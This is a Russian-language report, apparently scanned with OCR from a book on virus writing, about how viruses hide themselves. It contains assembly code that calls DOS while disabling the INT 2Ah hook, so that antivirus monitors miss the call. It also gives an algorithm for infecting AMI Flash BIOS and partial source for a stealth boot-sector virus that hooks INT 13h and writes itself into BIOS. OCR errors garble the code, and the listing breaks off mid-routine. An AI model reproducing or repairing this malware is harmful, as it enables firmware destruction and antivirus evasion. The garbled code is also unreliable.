Доклад: Маскировка вирусов
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5"
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, "пра-
вильный" адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для "безопасных" функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h - метод
;" предопределенных адресов" не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
Flash BIOS
Новое место для вирусов
Flash-память - энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS - Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована - это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру - это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирус
Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если
она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения ви-
руса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она нахо-
дится в режиме "Readonly");
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим "Readonly" для памяти Flash BIOS.
Единственное предназначение INT 19h - быть вызванным в процессе
загрузки, чтобы загрузить boot-сектор в память и передать ему управле-
ние. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и
записывать в нее нельзя. Поэтому во время работы вируса нельзя ис-
пользовать временные переменные в этой памяти. Более целесообразным
является создание вируса для обычного boot-сектора. Этот вирус следу-
ет поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при разме-
щении в микросхемах Flash-памяти, которые базируются на использова-
нии функции EOh прерывания INT 16h. Самое интересное состоит
в том, что однажды внесенный в эту память вирус может запретить по-
вторно использовать указанную функцию. Это запретит антивирусным
программам воспользоваться ею в процессе удаления вируса из BIOS
компьютера. Исходя из этого, авторам антивирусных программ придет-
ся трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с "чистой"
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О
;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh
[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax
.Установим значение стека OOOOh:7COOh
cli
mov ss.ax
mov sp.si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в АХ)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shi ax.cl
.Установим новый сегмент вируса (вершина памяти)
mov es,ax
.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не
работает - работаем с вектором прерывания прямо в таблице
mov ax.word ptr [13h*4]
mov word ptr es: [off set i13],ax
mov ax.word ptr [13h*4+2]
mov word ptr es: [offset i 13+2],ax
.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;C этого места программа работает уже в вершине памяти
Restart:
[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)
xor ах.ах
call int13h
[Подготовим регистры для загрузки оригинального boot-сектора
хог ах.ах
mov es,ax ;Сегмент для загрузки
mov bx,7COOh ;Смещение для загрузки
mov cx,0002h Дорожка 0, сектор 2
хог dh.dh ;Головка О
mov ax,0201h ;Функция 2, количество секторов 1
[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,
;иначе - дискета. Копия оригинального boot-сектора хранится
;в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;
;на дискете - дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov с1,14 ;Сектор 14
mov dh,1 ;Головка 1
;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh
MBRJ-oader:
call int13h
.Сохраним в стеке номер диска, с которого грузимся
push dx
Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;3аразим Flash BIOS
call flash_BIOS
.Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)
db OEAh
dw 7COOh
dw 0
;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем
[Присутствие вируса методом чтения оригинального boot-сектора
Stealth:
Остановим значения сектора, где хранится копия оригинального
iboot-сектора
mov cx,02h
mov ax,0201h
[Проверим, откуда считан boot-сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
Прочтем копию оригинального boot-сектора. Так как
;номера секторов подменены, фактически "копия выдается
;за оригинал" - скрываем свое присутствие (Stealth).
call int13h